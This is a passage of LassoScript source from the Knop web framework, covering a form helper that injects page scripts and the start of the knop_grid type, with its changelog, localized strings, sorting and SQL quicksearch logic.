(self -> 'errors') -> size > 0;\n\t\t\t(self -> 'error_code') = 7101;\n\t\t\treturn: (self -> 'error_code');\n\t\telse;\n\t\t\treturn: 0;\n\t\t/if;\n\t/define_tag;\n\n\n\t\n\tdefine_tag: 'afterhandler', -description='Internal member tag. Adds needed javascripts through an atend handler that will be processed when the entire page is done. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-headscript (optional) A single script, will be placed before </head>  (or at top of page if </head> is missing)\\n\\\n\t\t\t-endscript (optional) Multiple scripts (no duplicates), will be placed before </body> (or at end of page if </body> is missing)',\n\t\t-optional='headscript', -type='string',\n\t\t-optional='endscript', -type='string';\n\t\t// adds needed javascripts through an atend handler that will be processed when the entire page is done\n\n\t\tif: !(var_defined: 'knop_afterhandler_data');\n\t\t\tvar: 'knop_afterhandler_data'=map;\n\t\t\tdefine_atend: { // this will run after the page is done processing\n\t\t\t\tif: $knop_afterhandler_data >> 'headscript';\n\t\t\t\t\t// put before </head> or at beginning of page\n\t\t\t\t\tlocal: 'scriptdata'='<script language=\"javascript\" type=\"text/javascript\">\\n/*<![CDATA[ */\\n' \n\t\t\t\t\t\t+ ($knop_afterhandler_data -> (find: 'headscript') -> join('\\n')) \n\t\t\t\t\t\t+ '\\n/* ]]> */\\n</script>\\n';\n\t\t\t\t\tif: content_body >> '</head>';\n\t\t\t\t\t\tcontent_body -> (replace: '</head>', #scriptdata + '</head>');\n\t\t\t\t\telse;\n\t\t\t\t\t\tcontent_body = #scriptdata + content_body;\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t\tif: $knop_afterhandler_data >> 'endscript';\n\t\t\t\t\t// put before </body> or at end of page\n\t\t\t\t\tlocal: 'scriptdata'='\\n\\n\\n\\n<script language=\"javascript\" type=\"text/javascript\">\\n/* <![CDATA[ */\\n' \n\t\t\t\t\t\t+ ($knop_afterhandler_data -> (find: 'endscript') -> join('\\n')) \n\t\t\t\t\t\t+ '\\n/* ]]> */\\n</script>\\n';\n\t\t\t\t\tif: content_body >> '</body>';\n\t\t\t\t\t\tcontent_body -> (replace: '</body>', #scriptdata + '</body>');\n\t\t\t\t\telse;\n\t\t\t\t\t\tcontent_body += #scriptdata;\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t};\n\t\t/if;\n\t\t\n\t\tif: (local_defined: 'headscript');\n\t\t\t// add to current headscript\n\t\t\tif: $knop_afterhandler_data !>> 'headscript';\n\t\t\t\t$knop_afterhandler_data -> (insert: 'headscript' = array);\n\t\t\t/if;\n\t\t\tif: $knop_afterhandler_data -> (find: 'headscript') !>> #headscript;\n\t\t\t\t$knop_afterhandler_data -> (find: 'headscript') -> insert(#headscript);\n\t\t\t/if;\n\t\t/if;\n\t\tif: (local_defined: 'endscript');\n\t\t\t// add to current endscript\n\t\t\tif: $knop_afterhandler_data !>> 'endscript';\n\t\t\t\t$knop_afterhandler_data -> (insert: 'endscript' = array);\n\t\t\t/if;\n\t\t\tif: $knop_afterhandler_data -> (find: 'endscript') !>> #endscript;\n\t\t\t\t$knop_afterhandler_data -> (find: 'endscript') -> insert(#endscript);\n\t\t\t/if;\n\t\t/if;\n\t/define_tag;\n/define_type;\n\n\n?>\n[\n//------------------------------------------------------------------\n//    End knop_form\n//------------------------------------------------------------------\n\n//##################################################################\n\n][\n//------------------------------------------------------------------\n//    Begin knop_grid\n//------------------------------------------------------------------\n\n]<?LassoScript\n\ndefine_type: 'grid',\n\t'knop_base',\n\t-namespace='knop_';\n//\t-prototype;\n\n\tlocal: 'version'='2011-01-01',\n\t\t'description'='Custom type to handle data grids (record listings).';\n\n/*\n\nCHANGE NOTES\n2011-01-01\tSP\tCorrection of invalid HTML in <thead> and <tr>\n2010-12-23\tSP\tCorrected pagination bug for -numbered.\n2010-11-17\tJC\tAdded -startwithfooter flag to grid->renderhtml.  This moves the footer before the column titles in the table header.\n2010-11-17\tJC\tChanged rawheader inclusion to work even if there's no quicksearch for a grid\n2010-05-14\tJC\tAdded span separation on grid footer for better styling\n2010-03-06\tSP\tChanged default behavior of ->sortparams and ->quicksearch with -sql to add backticks between the table and column names.  Now JOINs may be used.\n2010-03-06\tSP\tAdded ->sortparams and ->quicksearch with -removedotbackticks for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.\n2010-01-27\tJC\tAdjusted the id support\n2010-01-25\tJC\tAdded support for optional id, used by table, quicksearch and quicksearch_reset\n2009-09-18\tJS\tSyntax adjustments for Lasso 9\n2009-08-26\tJS\tCorrected prev/next links when no nav is defined for the grid object\n2009-06-29\tJS\t->renderlisting: documentation correction (renderlisting never calls renderfooter). \n2009-01-11\tJS\t->renderlisting: Made sure that template isn't applied on NULL field values since that would cause an error with ->replace \n2008-12-29\tJC\tSupport for optional classes in table header\n2008-11-27\tJC\t-> implemented support for td specific classes. The class is inserted in both the TH and TD tag for the specified field\n2008-09-24\tJS\t->sortparams: fieldnames specified by the -sort parameter are now validated so they exist in the database\n2008-09-24\tJS\t->sortparams, ->quicksearch: Added protection against backtick sql injection in MySQL object names\n2008-09-10\tJS\t-numbered can now be specified at oncreate in addition to  ->renderhtml and ->renderfooter. \n2008-09-08\tJS\t->sortfield changed so defaultsort is honored even if -nosort is specified (-nosort is only used to prevent the user from changing sort order on the fly)\n2008-09-08\tJS\t->renderlisting and ->renderfooter optimized by caching the result of nav->url. \n2008-05-15\tJS\t->renderfooter: minor adjustment to numbered pagination links\n2008-05-14\tJS\t->renderfooter (and ->renderhtml): added -numbered as option to get google style numbered pagination links. Render the grid with -numbered (defaults to show 6 page number links plus the far ends) or -numbered=10 or another number. \n2008-05-13\tJS\tAdded ->renderlisting which is now part of ->renderhtml for more flexibility\n2008-02-25\tJS\t->renderheader and ->renderfooter calls nav -> url with -getargs \n2008-01-22\tJS\t->renderheader, ->renderfooter, ->renderhtml: addded -autoparams to nav -> url used in links since url was changed to default to no autoparams. \n2008-01-22\tJS\t->renderheader, ->renderfooter, ->renderhtml: improved support for param based navigation method  in links, cleaned up linking to use nav -> url instead of self -> urlparams when nav is available\n2008-01-22\tJC\t->quicksearch: Changed wordseparators so that \\r and \\n aren't placed as \\r\\n, otherwise they are treated as a single character by ->split. \n2007-12-11\tJS\tAdded documentation as -description to most member tags, to be used by the new ->help tag\n2007-12-11\tJS\tMoved ->help to knop_base\n2007-12-03\tJS\tAdded optional -language parameter to set the initial language for the grid object\n2007-12-03\tJS\tAdded -> lang to provide a reference to the knop_lang object that is used for localized strings\n2007-12-03\tJS\tAdded localized strings for English and Swedish\n2007-12-03\tJS\tAdded knop_lang to handle localized strings\n2007-11-11\tJC\tAdded optional -rawheader for extra header content to be inserted before the Quicksearch form\n2007-10-23\tJS\t->renderheader: added class=\"grid\" to the opening table tag to be able to isolate the css specifications\n2007-10-03\tJS\t->renderfooter: added unique classes for each type of prev/next link to be able to replace with images using css\n2007-10-03\tJS\t->renderfooter: Changed prev/next link texts to simple |< << >> >| instead of unicode glyphs\n2007-09-20\tJS\tPostparams are only sent along for nav params (not \"-\" params)\n2007-09-07\tJS\tAlso send postparams along in prev/next links (not only getparams)\n2007-09-06\tJS\tIf nav has params defined, those params will be sent along with prev/next links\n2007-09-06\tJS\tAdded encode_url for link params\n2007-09-06\tJS\tChanged -action to -formaction in the quicksearch form\n2007-08-08\tJS\t->urlargs: Added exception for -session\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-11\tJC\tadded handling of xhtml output\n2007-05-30\tJS\t->quicksearch: added \\r and \\n as word separators. \n2007-05-03\tJS\t->addfield: Added check for empty dbfield name before adding to dbfieldmap\n2007-04-19\tJS\t->quicksearch: added  -value (flag) that makes quicksearch output just the value of the quicksearch field instead of a query\n2007-04-13\tJS\t->oncreate: added -nosort as global flag (overrides column specific sort options)\n2007-04-13\tJS\t->renderfooter: Added tbody to footer to make it pass validation, but it's still not semantically correct. \n2007-04-13\tJS\tChanged field type for quicksearch for non-WebKit based browsers\n2007-04-10\tJS\t->quicksearch: Added @ as word separator for \"word begins with\" search\n2007-04-10\tJS\t->quicksearch: Added -contains as option to perform a simple contains search instead of emulating \"word begins with\" search\n2007-04-10\tJS\t->renderheader: When grid has a defaultsort, there should be no \"unsort\" option in the sortable headings\n2007-04-10\tJS\t->insert: (-defaultsort='desc') or (-defaultsort='descending') makes the default sort order sort in descending order\n2007-04-04\tJS\t->addfield: -template can now also be a compound expression\n2007-04-03\tJS\tChanged namespace from mt_ to knop_\n2007-03-01\tJS\tAdded support for FileMaker with quicksearch (untested)\n2007-03-01\tJS\tChanged all texts to English\n2007-02-07\tJS\tRemoved classs=\"first\" and class=\"notopborder\" since CSS border-collapse: collapse; eliminates the need\n2007-02-05\tJS The -keyvalue parameter for url edit links can be given another name by specifying -keyparamname in addfield\n2007-01-31\tJS\t->addfield: #value# can be used in -url, as a way to provide mailto links etc in lists\n2007-01-30\tJS\tSortable columns now thave three states instead of two: sorted ascending, sorted descending and unsorted. \n2007-01-30\tJS\tImprovements to quicksearch, to emulate \"word begins with\"  searches\n2007-01-26\tJS\tAdded support for quicksearch field in grid header. Specify -quicksearch at ->oncreate, and tell what fields to search by specifying -quicksearch for those fields at ->addfield. \n\t\t\t\tFields can be search only (no display) by leaving out name and label. All specified fields are searched word for word of thew search string. \n\t\t\t\tUse ->quicksearch to get the search parameters (optionally -sql)\n2007-01-26\tJS\tAdded ->urlargs to get a querystring with all \"-\" GET params, except those in optional -except string or array parameter. \n2007-01-22\tJS\tAdjustments to highlighting and \"(redigera)\"-link for records with empty values in the linked field\n2007-01-19\tJS\tAdded href titles to sort links and prevnext links\n2007-01-19\tJS\tCorrected sortparams when no sortfield is specified\n2007-01-19\tJS\tAddded go to first page, go to last page in footer\n2007-01-19\tJS\tAdded member tag page_skiprecords to help correcting out of bounds page numbers\n2007-01-19\tJS\tAdded member tag lastpage\n2007-01-18\tJS\tSupport for highlighting of affected record after edit or update (class name \"highlight\")\n2007-01-17\tJS\tAdded addfield: -template\n\nTODO\nMake it possible for knop_grid to work independently of a knop_database object so other types of listings can bre created. \nLanguage of quicksearch buttons can't be changed after the grid has been created\ntbody is used in renderfooter, which is not semantically correct. can't use tfoot though since the footer is rendered twice. \nMove templates to a member tag to be make it easier to subclass\nChange ->addfield to ->insert and make ->addfield deprecated\n\n*/\n\n\t// instance variables\n\tlocal: 'fields'=array,\n\t\t'dbfieldmap'=map,\n\t\t'sortfield'=string,\n\t\t'defaultsort'=string,\n\t\t'page'=integer,\n\t\t'sortdescending'=false,\n\t\t'database'=null,\n\t\t'nav'=null,\n\t\t'debug_trace'=array,\n\t\t'quicksearch'=string,\n\t\t'quicksearch_form',\n\t\t'quicksearch_form_reset',\n\t\t'rawheader' = string, // added by Jolle 071111\n\t\t'class' = string, // Added by Jolle 081229\n\t\t'tbl_id' = 'grid', // Added by Jolle 100125\n\t\t'qs_id' = 'quicksearch', // Added by Jolle 100125\n\t\t'qsr_id' = 'qs_reset', // Added by Jolle 100125\n\t\t'quicksearch_fields'=array,\n\t\t'footer' = string, // Added by Jolle 101117\n\t\t'lang'=(knop_lang: -default='en', -fallback),\t\t// language strings object \n\t\t'error_lang'=(knop_lang: -default='en', -fallback),\n\t\t'numbered'=false,\n\t\t'nosort';\n\n\t#lang -> (addlanguage: -language='en', -strings=(map: \n\t\t'quicksearch_showall' = 'Show all',\n\t\t'quicksearch_search' = 'Search',\n\t\t'linktext_edit' = '(edit)',\n\t\t'linktitle_showunsorted' = 'Show unsorted',\n\t\t'linktitle_changesort' = 'Change sort order to',\n\t\t'linktitle_ascending' = 'ascending',\n\t\t'linktitle_descending' = 'descending',\n\t\t'linktitle_sortascby' = 'Sort ascending by',\n\t\t'linktitle_gofirst' = 'Go to first page',\n\t\t'linktitle_goprev' = 'Go to previous page',\n\t\t'footer_shown' = '#1# - #2# of',\n\t\t'footer_found'='found',\n\t\t'linktext_gotopage'='Go to page', // SP customization\n\t\t'linktitle_gonext' = 'Go to next page',\n\t\t'linktitle_golast' = 'Go to last page',\n\n\t\t// language neutral strings, only need to be set for the default language\n\t\t'linktext_first'='|&lt;',\n\t\t'linktext_prev'='&lt;&lt;',\n\t\t'linktext_next'='&gt;&gt;',\n\t\t'linktext_last'='&gt;|'\n\t\t\t));\n\t\t\t\n\t#lang -> (addlanguage: -language='sv', -strings=(map: \n\t\t'quicksearch_showall' = 'Visa alla',\n\t\t'quicksearch_search' = 'Sök',\n\t\t'linktext_edit' = '(redigera)',\n\t\t'linktitle_showunsorted' = 'Visa osorterade',\n\t\t'linktitle_changesort' = 'Ändra sorteringsordning till',\n\t\t'linktitle_ascending' = 'stigande',\n\t\t'linktitle_descending' = 'fallande',\n\t\t'linktitle_sortascby' = 'Sortera i stigande ordning efter',\n\t\t'linktitle_gofirst' = 'Gå till första sidan',\n\t\t'linktitle_goprev' = 'Gå till föregående sida',\n\t\t'footer_shown' = '#1# - #2# av',\n\t\t'footer_found'='hittade',\n\t\t'linktext_gotopage'='Gå till sida', // SP cüstømizätiøn\n\t\t'linktitle_gonext' = 'Gå till nästa sida',\n\t\t'linktitle_golast' = 'Gå till sista sidan'\n\t));\n\t\n\tdefine_tag: 'oncreate', -description='Parameters:\\n\\\n\t\t\t-database (required database) Database object that the grid object will interact with\\n\\\n\t\t\t-nav (optional nav) Navigation object to interact with\\n\\\n\t\t\t-quicksearch (optional) Label text for the quick search field\\n\\\n\t\t\t-rawheader (optional) Extra html to be inserted in the grid header\\n\\\n\t\t\t-class (optional) Extra classes to be inserted in the grid header. The standard class \"grid\" is always inserted\\n\\\n\t\t\t-id (optional) Creates a custom id used for table, quicksearch and quicksearch_reset\\n\\\n\t\t\t-nosort (optional flag) Global setting for the entire grid (overrides column specific sort options)\\n\\\n\t\t\t-language (optional) Language to use for the grid, defaults to the browser\\'s preferred language\\n\\\n\t\t\t-numbered (optional flag or integer) If specified, pagination links will be shown as page numbers instead of regular prev/next links. Defaults to 6 links, specify another number (minimum 6) if more numbers are wanted. Can be specified in ->renderhtml as well. ',\n\t\t-required='database', -type='database',\n\t\t-optional='nav', -type='nav',\n\t\t-optional='quicksearch',\n\t\t-optional='rawheader',\n\t\t-optional='class',\n\t\t-optional='id',\n\t\t-optional='nosort',\n\t\t-optional='language',\n\t\t-optional='numbered';\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\tlocal: 'lang'=@(self -> 'lang');\n\t\t\n\t\tif: (local_defined: 'language');\n\t\t\t#lang -> (setlanguage: #language);\n\t\t/if;\n\t\t\n\t\t// the following params are stored as reference, so the values of the params can be altered after adding a field simply by changing the referenced variable. \n\t\tlocal_defined('database') ? (self -> 'database' = @#database);\n\t\tlocal_defined('nav') ? (self -> 'nav' = @#nav);\n\n\t\t(self -> 'nosort')=local_defined('nosort');\n\n\t\tif(local_defined('numbered'));\n\t\t\t(self -> 'numbered')=((#numbered !== false) ? integer(#numbered) | false);\n\t\t/if;\n\t\t(local_defined('class') && #class -> type == 'string') ?\n\t\t\t(self -> 'class') = #class;\n\t\t\n\t\tif(local_defined('id') && #id -> type == 'string');\n\t\t\t(self -> 'tbl_id') = #id + '_grid';\n\t\t\t(self -> 'qs_id') = #id + '_quicksearch';\n\t\t\t(self -> 'qsr_id') = #id + '_qs_reset';\n\t\t/if;\n\n\n\t\tlocal: 'clientparams'=client_getparams;\n\t\t#clientparams -> (merge: client_postparams);\n\t\tif: !(self -> 'nosort');\n\t\t\t(self -> 'sortfield') = (#clientparams >> '-sort' ? (#clientparams -> (find: '-sort') -> first -> value) | string);\n\t\t\t(self -> 'sortdescending') = (#clientparams >> '-desc');\n\t\t/if;\n\t\t(self -> 'page') = (#clientparams >> '-page' ? (integer: (#clientparams -> (find: '-page') -> first -> value)) | 1);\n\t\t(self -> 'page') < 1 ? (self -> 'page') = 1;\n\n\t\tif: (local_defined: 'quicksearch');\n\t\t\tif: #quicksearch != '';\n\t\t\t\t(self -> 'quicksearch') = #quicksearch;\n\t\t\telse;\n\t\t\t\t(self -> 'quicksearch') = 'Quicksearch';\n\t\t\t/if;\n\t\t\t(self -> 'quicksearch_form') = (knop_form: -name='quicksearch', -id = (self -> 'qs_id'), -formaction='./', -method='get', -template='#field#\\n', -noautoparams);\n\t\t\t(self -> 'quicksearch_form_reset') = (knop_form: -name='quicksearch_reset', -id = (self -> 'qsr_id'), -formaction='./', -method='get', -template='#field#\\n', -noautoparams);\n\t\t\tlocal: 'autosavekey'=server_name + response_path;\n\t\t\tif: (self -> 'nav') -> type =='nav' && (self -> 'nav') -> 'navmethod'=='param';\n\t\t\t\t(self -> 'quicksearch_form') -> (addfield: -type='hidden', -name='-path', -value=((self -> 'nav') -> path));\n\t\t\t\t(self -> 'quicksearch_form_reset') -> (addfield: -type='hidden', -name='-path', -value=((self -> 'nav') -> path));\n\t\t\t\t#autosavekey -> (removetrailing: '/');\n\t\t\t\t#autosavekey += '/' + ((self -> 'nav') -> path);\n\t\t\t/if;\n\t\t\tif: (self -> 'sortfield') != '' && !(self -> 'nosort');\n\t\t\t\t(self -> 'quicksearch_form') -> (addfield: -type='hidden', -name='-sort', -value=(self -> 'sortfield'));\n\t\t\t\t(self -> 'quicksearch_form_reset') -> (addfield: -type='hidden', -name='-sort', -value=(self -> 'sortfield'));\n\t\t\t\tif: (self -> 'sortdescending');\n\t\t\t\t\t(self -> 'quicksearch_form') -> (addfield: -type='hidden', -name='-desc');\n\t\t\t\t\t(self -> 'quicksearch_form_reset') -> (addfield: -type='hidden', -name='-desc');\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\tif: client_type >> 'WebKit';\n\t\t\t\t// only use<input type=search\" for WebKit based browsers like Safari\n\t\t\t\t(self -> 'quicksearch_form') -> (addfield: -type='search', -name='-q', -hint=(self -> 'quicksearch'), \n\t\t\t\t\t-size=15, -id = (self -> 'qs_id') + '_q', -raw='autosave=\"' + #autosavekey + '\" results=\"10\"');\n\t\t\telse;\n\t\t\t\t(self -> 'quicksearch_form') -> (addfield: -type='text', -name='-q', -hint=(self -> 'quicksearch'), \n\t\t\t\t\t-size=15, -id = (self -> 'qs_id') + '_q');\n\t\t\t/if;\n\t\t\t(self -> 'quicksearch_form') -> (addfield: -type='submit', -name='s', -value=(#lang -> quicksearch_search));\n\t\t\tif: #clientparams >> '-q';\n\t\t\t\t(self -> 'quicksearch_form') -> (setvalue: '-q'=(#clientparams -> (find: '-q') -> first -> value));\n\t\t\t\t(self -> 'quicksearch_form_reset') -> (addfield: -type='submit', -name='a', -value=(#lang -> quicksearch_showall));\n\t\t\telse;\n\t\t\t\t(self -> 'quicksearch_form_reset') -> (addfield: -type='submit', -name='a', -value=(#lang -> quicksearch_showall), -disabled);\n\t\t\t/if;\n\t\t/if;\n\n\t\t/* Added by JC 071111 to handle extra form included in the header */\n\t\tif: (local_defined: 'rawheader');\n\t\t\tif: #rawheader -> type == 'string';\n\t\t\t\t(self -> 'rawheader') = #rawheader;\n\t\t\telse;\n\t\t\t\t(self -> 'rawheader') = '';\n\t\t\t/if;\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'onassign', -required='value', -description='Internal, needed to restore references when ctype is defined as prototype';\n\t\t// recreate references here\n\t\t(self->'database') = @(#value -> 'database');\n\t\t(self->'nav') = @(#value -> 'nav');\n\t/define_tag;\n\n\tdefine_tag: 'lang', -description='Returns a reference to the language object';\n\t\treturn: @(self -> 'lang');\n\t/define_tag;\n\n\t\n\tdefine_tag: 'addfield', -description='Adds a column to the record listing. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-name (optional) Name of the field. If not specified, the field will be omitted from the grid. \\\n\t\t\t\tUseful to be able to quicksearch in fields not shown in the grid. \\\n\t\t\t\tIn that case -dbfield must be specified. \\n\\\n\t\t\t-label (optional) Column heading\\n\\\n\t\t\t-dbfield (optional) Corresponding database field name (name is used if dbfield is not specified)\\n\\\n\t\t\t-width (optional) Pixels (CSS width)\\n\\\n\t\t\t-url (optional) Columns will be linked with this url as base. Can contain #value# for example to create clickable email links. \\n\\\n\t\t\t-keyparamname (optional) Param name to use instead of the default -keyvalue for edit links\\n\\\n\t\t\t-defaultsort (optional flag) This field will be the default sort field\\n\\\n\t\t\t-nosort (optional flag) The field header should not be clickable for sort\\n\\\n\t\t\t-template (optional) Either string to format values, compound expression or map containing templates to display individual values in different ways, use -default to display unknown values, use #value# to insert the actual field value in the template. \\n\\t\\\n\t\t\t\tIf a compound expression is specified, the field value is passed as param to the expression and can be accessed as params. \\n\\t\\\n\t\t\t\tExample expressions: \\n\\t\\\n\t\t\t\t{return: params} to return just the field value as is\\n\\t\\\n\t\t\t\t{return: (date: (field: \"moddate\")) -> (format: \"%-d/%-m\")} to return a specific field as formatted date\\n\\\n\t\t\t-quicksearch (optional flag) If specified, the field will be used for search with quicksearch',\n\t\t-optional='name',\n\t\t-optional='label',\n\t\t-optional='dbfield',\n\t\t-optional='width',\n\t\t-optional='class',\n\t\t// -optional='raw',\t\t// TODO: not implemented \n\t\t-optional='url',\n\t\t-optional='keyparamname',\n\t\t-optional='defaultsort',\n\t\t-optional='nosort',\n\t\t-optional='template',\n\t\t-optional='quicksearch';\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\tfail_if: (local_defined: 'template') && #template -> type != 'string' \n\t\t\t&& #template -> type != 'map'  \n\t\t\t&& #template -> type != 'tag', -1, 'Template must be either string, map or compound expression';\n\t\tlocal: 'field'=map;\n\n\t\tlocal_defined('name') ? #field -> insert('name' = #name); \n\t\tlocal_defined('class') ? #field -> insert('class' = #class); \n\t\tlocal_defined('url') ? #field -> insert('url' = #url); \n\t\tlocal_defined('keyparamname') ? #field -> insert('keyparamname' = #keyparamname); \n\t\tlocal_defined('width') ? #field -> insert('width' = #width);\n\t\t#field !>> 'keyparamname' ? #field -> (insert: 'keyparamname' = '-keyvalue');\n\t\t\n\t\tif: (local_defined: 'template');\n\t\t\t#field -> (insert: 'template'=(#template -> type == 'string' ? (map: '-default'=#template) | #template));\n\t\t/if;\n\t\tif: (local_defined: 'name');\n\t\t\t#field -> (insert: 'label'=( (local_defined: 'label') ? #label | #name ) );\n\t\t\t#field -> (insert: 'dbfield'=( (local_defined: 'dbfield') ? #dbfield | #name ) );\n\t\t\t#field -> (insert: 'nosort'=(local_defined: 'nosort'));\n\t\t\tif(local_defined('defaultsort')\n\t\t\t\t//&& !(local_defined: 'nosort') \n\t\t\t\t&& (self -> 'defaultsort') == ''\n\t\t\t\t//&& !(self -> 'nosort')\n\t\t\t\t); \n\t\t\t\t(self -> 'defaultsort') = #name;\n\t\t\t\tif: (self -> 'sortfield') == '';\n\t\t\t\t\t(self -> 'sortfield') = (self -> 'defaultsort');\n\t\t\t\t\tif: #defaultsort == 'desc' || #defaultsort == 'descending';\n\t\t\t\t\t\t(self -> 'sortdescending') = true;\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\t(self -> 'dbfieldmap') -> (insert: #name = ((local_defined: 'dbfield') && #dbfield != '' ? #dbfield | #name));\n\t\t/if;\n\t\t(local_defined: 'quicksearch') ? (self -> 'quicksearch_fields') -> (insert: ((local_defined: 'dbfield') ? #dbfield | (local: 'name')));\n\t\t\n\t\tif(local_defined('name') || local_defined('label'));\n\t\t\t(self -> 'fields') -> (insert: #field);\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'sortparams', -description='Returns a Lasso-style pair array with sort parameters to use in the search inline.\\n\\\n\t\tParameters:\\n\\\n\t\t-sql (optional)\\n\\\n\t\t-removedotbackticks (optional flag) Use with -sql for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.',\n\t\t-optional='sql',\n\t\t-optional='removedotbackticks';\n\t\tlocal: 'timer'=knop_timer; \n\t\tif: local_defined: 'sql';\n\t\t\tfail_if: (self -> 'database') -> 'isfilemaker', 7009, '-sql can not be used with FileMaker';\n\t\t\t(self -> 'sortfield') == '' ? return;\n\t\t\tlocal('output'=string);\n\t\t\tif: (self -> 'dbfieldmap') >> (self -> 'sortfield');\n\t\t\t\t#output=' ORDER BY ';\n\t\t\t\tif(local_defined('removedotbackticks'));\n\t\t\t\t\t#output += '`' + knop_stripbackticks((self -> 'dbfieldmap') -> find(self -> 'sortfield')) + '`';\n\t\t\t\telse;\n\t\t\t\t\t#output += '`' + string_replace(knop_stripbackticks((self -> 'dbfieldmap') -> find(self -> 'sortfield')), -find='.', -replace='`.`') + '`';\n\t\t\t\t/if;\n\t\t\t\tif: (self -> 'sortdescending');\n\t\t\t\t\t#output += ' DESC';\n\t\t\t\t/if;\n\t\t\t/if;\n\t\telse;\n\t\t\tlocal: 'output'=array;\n\t\t\t(self -> 'sortfield') == '' ? return: @#output;\n\t\t\tif: (self -> 'dbfieldmap') >> (self -> 'sortfield');\n\t\t\t\t#output -> (insert: -sortfield=(self -> 'dbfieldmap') -> (find: (self -> 'sortfield')) );\n\t\t\t\tif: (self -> 'sortdescending');\n\t\t\t\t\t#output -> (insert: -sortorder='descending');\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\n\tdefine_tag: 'quicksearch', -description='Returns a pair array with fieldname=value to use in a search inline. If you specify several fields in the grid as -quicksearch (visible or not), they will be treated as if they were one single concatenated field. Quicksearch will take each word entered in the search field and search for them in the combined set of quicksearch fields, performing a \"word begins with\" match (unless you specify -contains when calling -> quicksearch).\\n\\\n\t\t\tSo if you enter dev joh it will find records with firstname=Johan, occupation=Developer.\\n\\\n\t\t\tIf you\\'re familiar with how FileMaker performs text searches, this is the way quicksearch tries to behave.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-sql (optional flag) Return an SQL string for the search parameters instead.\\n\\\n\t\t\t-contains (optional flag) Perform a simple contains search instead of emulating \"word begins with\" search\\n\\\n\t\t\t-value (optional flag) Output just the search value of the quicksearch field instead of a pair array or SQL string\\n\\\n\t\t\t-removedotbackticks (optional flag) Use with -sql for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.',\n\t\t-optional='sql',\n\t\t-optional='contains',\n\t\t-optional='value',\n\t\t-optional='removedotbackticks';\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\tlocal: 'output'=array,\n\t\t\t'output_temp'=array,\n\t\t\t'_sql'=(local_defined: 'sql'), \n\t\t\t'wordseparators'=',.- (\"@\\n\\r', // \\r and \\n must not come after each other as \\r\\n, but \\n\\r is fine. \n\t\t\t'fieldvalue', 'onevalue', 'field', 'wordseparator';\n\t\tfail_if: #_sql && (self -> 'database') -> 'isfilemaker', 7009, '-sql can not be used with FileMaker';\n\n\t\t#wordseparators = #wordseparators -> (split: '');\n\t\tif: (self -> 'quicksearch_form') -> type != 'form';\n\t\t\tif: #_sql; \n\t\t\t\treturn: string;\n\t\t\telse;\n\t\t\t\treturn: array;\n\t\t\t/if;\n\t\t/if;\n\t\tif: local_defined: 'value';\n\t\t\treturn: string: ((self -> 'quicksearch_form') -> (getvalue: '-q'));\n\t\t/if;\n\t\t\n\t\t#fieldvalue = string: ((self -> 'quicksearch_form') -> (getvalue: '-q'));\n\t\tif: #fieldvalue != '';\n\t\t\tif: (self -> 'database') -> 'isfilemaker';\n\t\t\t\t#output -> (insert: -logicaloperator='or');\n\t\t\t\titerate: (self -> 'quicksearch_fields'), #field;\n\t\t\t\t\tif: (local_defined: 'contains');\n\t\t\t\t\t\t#output -> (insert:  -op = 'cn');\n\t\t\t\t\t/if;\n\t\t\t\t\t#output -> (insert:  #field = #fieldvalue);\n\t\t\t\t/iterate;\n\t\t\telse;\n\t\t\t\t// search each word separately\n\t\t\t\t#fieldvalue = #fieldvalue -> (split: ' ');\n\t\t\t\titerate: #fieldvalue, #onevalue;\n\t\t\t\t\t#output_temp = array;\n\t\t\t\t\titerate: (self -> 'quicksearch_fields'), #field;\n\t\t\t\t\t\tif: #_sql;\n\t\t\t\t\t\t\tif: (local_defined: 'contains');\n\t\t\t\t\t\t\t\tif(local_defined('removedotbackticks'));\n\t\t\t\t\t\t\t\t\t#output_temp -> insert('`' + knop_stripbackticks(encode_sql(#field)) + '`' \n\t\t\t\t\t\t\t\t\t\t+ ' LIKE \"%' + encode_sql(#onevalue ) + '%\"');\n\t\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t\t#output_temp -> insert('`' + string_replace(knop_stripbackticks(encode_sql(#field)), -find='.', -replace='`.`') + '`' \n\t\t\t\t\t\t\t\t\t\t+ ' LIKE \"%' + encode_sql(#onevalue ) + '%\"');\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\tif(local_defined('removedotbackticks'));\n\t\t\t\t\t\t\t\t\t#output_temp -> insert('`' + knop_stripbackticks(encode_sql(#field)) + '`' \n\t\t\t\t\t\t\t\t\t+ ' LIKE \"' + encode_sql(#onevalue ) + '%\"');\n\t\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t\t#output_temp -> insert('`' + string_replace(knop_stripbackticks(encode_sql(#field)), -find='.', -replace='`.`') + '`' \n\t\t\t\t\t\t\t\t\t+ ' LIKE \"' + encode_sql(#onevalue ) + 